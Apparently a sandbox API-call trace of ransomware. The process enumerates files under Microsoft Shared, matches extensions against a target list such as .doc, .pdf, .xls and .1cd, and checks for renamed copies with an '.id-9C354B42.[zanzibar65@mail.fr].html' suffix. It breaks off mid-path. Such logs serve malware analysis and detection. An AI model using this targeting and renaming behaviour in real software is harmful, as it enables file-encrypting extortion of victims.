[0055.372] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0055.372] lstrlenW (lpString=".ppt") returned 4 [0055.372] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0055.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0055.372] lstrlenW (lpString=".zip") returned 4 [0055.372] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0055.372] lstrlenW (lpString=".rar") returned 4 [0055.372] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0055.372] lstrlenW (lpString=".bz2") returned 4 [0055.372] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0055.372] lstrlenW (lpString=".7z") returned 3 [0055.372] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0055.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0055.372] lstrlenW (lpString=".dbf") returned 4 [0055.372] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0055.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0055.372] lstrlenW (lpString=".1cd") returned 4 [0055.372] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0055.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0055.372] lstrlenW (lpString=".jpg") returned 4 [0055.372] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0055.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0055.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0055.373] lstrlenW (lpString=".doc") returned 4 [0055.373] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0055.373] lstrlenW (lpString=".docx") returned 5 [0055.373] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0055.373] lstrlenW (lpString=".pdf") returned 4 [0055.373] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0055.373] lstrlenW (lpString=".xls") returned 4 [0055.373] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0055.373] lstrlenW (lpString=".xlsx") returned 5 [0055.373] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0055.373] lstrlenW (lpString=".ppt") returned 4 [0055.373] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0055.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0055.373] lstrlenW (lpString=".zip") returned 4 [0055.373] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0055.373] lstrlenW (lpString=".rar") returned 4 [0055.373] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0055.373] lstrlenW (lpString=".bz2") returned 4 [0055.373] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0055.373] lstrlenW (lpString=".7z") returned 3 [0055.373] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0055.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0055.373] lstrlenW (lpString=".dbf") returned 4 [0055.373] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0055.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0055.373] lstrlenW (lpString=".1cd") returned 4 [0055.373] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0055.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0055.373] lstrlenW (lpString=".jpg") returned 4 [0055.373] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0055.374] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0055.374] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0055.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0055.375] GetFileSizeEx (in: hFile=0x248, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=3584) returned 1 [0055.375] CloseHandle (hObject=0x248) returned 1 [0055.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0055.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0055.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0055.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0055.375] lstrlenW (lpString=".doc") returned 4 [0055.375] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0055.375] lstrlenW (lpString=".docx") returned 5 [0055.375] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0055.375] lstrlenW (lpString=".pdf") returned 4 [0055.375] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0055.375] lstrlenW (lpString=".xls") returned 4 [0055.375] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0055.376] lstrlenW (lpString=".xlsx") returned 5 [0055.376] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0055.376] lstrlenW (lpString=".ppt") returned 4 [0055.376] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0055.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0055.376] lstrlenW (lpString=".zip") returned 4 [0055.376] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0055.376] lstrlenW (lpString=".rar") returned 4 [0055.376] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0055.376] lstrlenW (lpString=".bz2") returned 4 [0055.376] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0055.376] lstrlenW (lpString=".7z") returned 3 [0055.376] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0055.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0055.376] lstrlenW (lpString=".dbf") returned 4 [0055.376] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0055.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0055.376] lstrlenW (lpString=".1cd") returned 4 [0055.376] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0055.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0055.376] lstrlenW (lpString=".jpg") returned 4 [0055.376] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0055.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0055.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0055.376] lstrlenW (lpString=".doc") returned 4 [0055.376] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0055.376] lstrlenW (lpString=".docx") returned 5 [0055.376] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0055.376] lstrlenW (lpString=".pdf") returned 4 [0055.376] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0055.376] lstrlenW (lpString=".xls") returned 4 [0055.376] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0055.377] lstrlenW (lpString=".xlsx") returned 5 [0055.377] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0055.377] lstrlenW (lpString=".ppt") returned 4 [0055.377] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0055.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0055.377] lstrlenW (lpString=".zip") returned 4 [0055.377] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0055.377] lstrlenW (lpString=".rar") returned 4 [0055.377] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0055.377] lstrlenW (lpString=".bz2") returned 4 [0055.377] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0055.377] lstrlenW (lpString=".7z") returned 3 [0055.377] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0055.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0055.377] lstrlenW (lpString=".dbf") returned 4 [0055.377] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0055.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0055.377] lstrlenW (lpString=".1cd") returned 4 [0055.377] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0055.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0055.377] lstrlenW (lpString=".jpg") returned 4 [0055.377] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0055.377] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0055.377] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0055.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0055.378] GetFileSizeEx (in: hFile=0x248, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=4096) returned 1 [0055.378] CloseHandle (hObject=0x248) returned 1 [0055.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0055.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0055.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0055.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0055.378] lstrlenW (lpString=".doc") returned 4 [0055.378] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0055.378] lstrlenW (lpString=".docx") returned 5 [0055.378] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0055.378] lstrlenW (lpString=".pdf") returned 4 [0055.378] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0055.378] lstrlenW (lpString=".xls") returned 4 [0055.378] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0055.378] lstrlenW (lpString=".xlsx") returned 5 [0055.379] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0055.379] lstrlenW (lpString=".ppt") returned 4 [0055.379] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0055.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0055.379] lstrlenW (lpString=".zip") returned 4 [0055.379] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0055.379] lstrlenW (lpString=".rar") returned 4 [0055.379] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0055.379] lstrlenW (lpString=".bz2") returned 4 [0055.379] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0055.379] lstrlenW (lpString=".7z") returned 3 [0055.379] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0055.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0055.379] lstrlenW (lpString=".dbf") returned 4 [0055.379] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0055.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0055.379] lstrlenW (lpString=".1cd") returned 4 [0055.379] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0055.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0055.379] lstrlenW (lpString=".jpg") returned 4 [0055.379] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0055.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0055.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0055.379] lstrlenW (lpString=".doc") returned 4 [0055.379] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0055.379] lstrlenW (lpString=".docx") returned 5 [0055.379] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0055.379] lstrlenW (lpString=".pdf") returned 4 [0055.379] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0055.379] lstrlenW (lpString=".xls") returned 4 [0055.379] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0055.379] lstrlenW (lpString=".xlsx") returned 5 [0055.380] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0055.380] lstrlenW (lpString=".ppt") returned 4 [0055.380] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0055.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0055.380] lstrlenW (lpString=".zip") returned 4 [0055.380] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0055.380] lstrlenW (lpString=".rar") returned 4 [0055.380] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0055.380] lstrlenW (lpString=".bz2") returned 4 [0055.380] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0055.380] lstrlenW (lpString=".7z") returned 3 [0055.380] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0055.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0055.380] lstrlenW (lpString=".dbf") returned 4 [0055.380] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0055.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0055.380] lstrlenW (lpString=".1cd") returned 4 [0055.380] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0055.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0055.380] lstrlenW (lpString=".jpg") returned 4 [0055.380] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0055.380] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0055.380] lstrlenW (lpString="ConvertInkStore.exe") returned 19 [0055.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0055.381] GetFileSizeEx (in: hFile=0x248, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=193024) returned 1 [0055.381] CloseHandle (hObject=0x248) returned 1 [0055.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0055.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0055.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0055.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0055.381] lstrlenW (lpString=".doc") returned 4 [0055.381] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0055.381] lstrlenW (lpString=".docx") returned 5 [0055.381] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0055.381] lstrlenW (lpString=".pdf") returned 4 [0055.381] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0055.381] lstrlenW (lpString=".xls") returned 4 [0055.381] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0055.381] lstrlenW (lpString=".xlsx") returned 5 [0055.381] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0055.381] lstrlenW (lpString=".ppt") returned 4 [0055.381] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0055.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0055.382] lstrlenW (lpString=".zip") returned 4 [0055.382] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0055.382] lstrlenW (lpString=".rar") returned 4 [0055.382] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0055.382] lstrlenW (lpString=".bz2") returned 4 [0055.382] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0055.382] lstrlenW (lpString=".7z") returned 3 [0055.382] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0055.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0055.382] lstrlenW (lpString=".dbf") returned 4 [0055.382] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0055.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0055.382] lstrlenW (lpString=".1cd") returned 4 [0055.382] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0055.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0055.382] lstrlenW (lpString=".jpg") returned 4 [0055.382] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0055.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0055.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0055.382] lstrlenW (lpString=".doc") returned 4 [0055.382] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0055.382] lstrlenW (lpString=".docx") returned 5 [0055.382] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0055.382] lstrlenW (lpString=".pdf") returned 4 [0055.382] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0055.382] lstrlenW (lpString=".xls") returned 4 [0055.382] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0055.382] lstrlenW (lpString=".xlsx") returned 5 [0055.382] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0055.382] lstrlenW (lpString=".ppt") returned 4 [0055.382] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0055.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0055.382] lstrlenW (lpString=".zip") returned 4 [0055.383] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0055.383] lstrlenW (lpString=".rar") returned 4 [0055.383] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0055.383] lstrlenW (lpString=".bz2") returned 4 [0055.383] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0055.383] lstrlenW (lpString=".7z") returned 3 [0055.383] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0055.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0055.383] lstrlenW (lpString=".dbf") returned 4 [0055.383] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0055.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0055.383] lstrlenW (lpString=".1cd") returned 4 [0055.383] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0055.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0055.383] lstrlenW (lpString=".jpg") returned 4 [0055.383] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0055.383] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0055.383] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0055.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0055.384] GetFileSizeEx (in: hFile=0x248, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=3584) returned 1 [0055.384] CloseHandle (hObject=0x248) returned 1 [0055.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0055.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0055.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0055.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0055.384] lstrlenW (lpString=".doc") returned 4 [0055.384] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0055.384] lstrlenW (lpString=".docx") returned 5 [0055.384] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0055.384] lstrlenW (lpString=".pdf") returned 4 [0055.384] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0055.384] lstrlenW (lpString=".xls") returned 4 [0055.384] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0055.384] lstrlenW (lpString=".xlsx") returned 5 [0055.384] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0055.384] lstrlenW (lpString=".ppt") returned 4 [0055.384] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0055.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0055.384] lstrlenW (lpString=".zip") returned 4 [0055.384] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0055.384] lstrlenW (lpString=".rar") returned 4 [0055.384] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0055.384] lstrlenW (lpString=".bz2") returned 4 [0055.385] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0055.385] lstrlenW (lpString=".7z") returned 3 [0055.385] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0055.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0055.385] lstrlenW (lpString=".dbf") returned 4 [0055.385] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0055.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0055.385] lstrlenW (lpString=".1cd") returned 4 [0055.385] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0055.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0055.385] lstrlenW (lpString=".jpg") returned 4 [0055.385] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0055.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0055.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0055.385] lstrlenW (lpString=".doc") returned 4 [0055.385] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0055.385] lstrlenW (lpString=".docx") returned 5 [0055.385] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0055.385] lstrlenW (lpString=".pdf") returned 4 [0055.385] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0055.385] lstrlenW (lpString=".xls") returned 4 [0055.385] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0055.385] lstrlenW (lpString=".xlsx") returned 5 [0055.385] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0055.385] lstrlenW (lpString=".ppt") returned 4 [0055.385] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0055.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 